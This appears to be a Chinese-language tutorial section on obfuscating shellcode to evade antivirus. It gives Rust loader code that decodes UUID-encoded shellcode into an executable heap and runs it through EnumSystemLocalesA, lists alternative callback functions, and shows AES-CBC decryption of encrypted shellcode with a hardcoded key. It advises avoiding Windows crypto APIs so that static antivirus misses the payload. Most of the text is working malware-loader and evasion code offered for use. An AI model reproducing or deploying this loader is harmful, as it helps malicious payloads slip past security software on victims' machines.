加密与混淆
UUID Shellcode
作为一种已成为经典的混淆方式,本质上是将 shellcode 转换成 uuid 数组的形式,然后使用 UuidFromStringA
这一个 win api 去转换再填入指定内存,然后再去执行 shellcode。
demo 涉及的主要 win api 调用:
- 创建空间:
HeapCreate
,HeapAlloc
- 转换:
UuidFromStringA
, 这一步也可以自己手写实现而不调用 api - 执行:
EnumSystemLocalesA
回调函数
其他的 回调函数 还有:
EnumFontsW
EnumUILanguages
EnumFontFamiliesEx
- …
// create and alloc heap space
let heap_handler = HeapCreate(
HEAP_CREATE_ENABLE_EXECUTE,
0,
0
);
let heap_address = HeapAlloc(
heap_handler,
0,
0x100000
);
let mut pointer = heap_address as usize;
check!(pointer != 0);
// convert uuid to shellcode and fill to heap space
for code in uuid_shellcodes {
let c_code = CString::new(code).unwrap();
let c_code_address = c_code.as_ptr() as *mut u8;
let status = UuidFromStringA(c_code_address, pointer as *mut GUID);
check!(status == 0);
pointer += 16;
}
// execute shellcode
EnumSystemLocalesA(transmute(heap_address), 0);
CloseHandle(heap_handler);
现状:被 AV 杀穿。
Encrypted Shellcode
使用非明文 shellcode,具体方式的选择就看各自喜欢了,不过尽量选不使用 win api 的加解密实现,可以选择手写算法或用一些第三方提供的纯语言实现。
demo 提供了一个 aes cbc 128 解密,使用 libaes
这一个纯 rust 实现的 aes 加解密 crate:
pub struct AesConvert {
cipher: Cipher,
}
impl AesConvert {
pub fn new(key: &[u8; 16]) -> Self {
AesConvert {
cipher: Cipher::new_128(key),
}
}
}
impl Convert for AesConvert {
fn convert(&self, shellcode: &[u8]) -> Vec<u8> {
let iv = hex::decode("b6e76705e06d26fa38b81d041950baa4").unwrap();
let decrypted = self.cipher.cbc_decrypt(&iv, shellcode);
return decrypted;
}
}
使用
let key = hex::decode("dba71c7289ff2fb17aa35e83e2025bcb")?;
let aes = AesConvert::new(&key.try_into().unwrap());
let shellcode = aes.convert(encrypted_shellcode);
基本上如果不用 win api 来做加解密操作,稍微套几层,静态 av 是识别不到 shellcode 的,只能结合其他特征来进一步判断。
还有一些其他常用的加密手段:
- Xor
- RC4
- RSA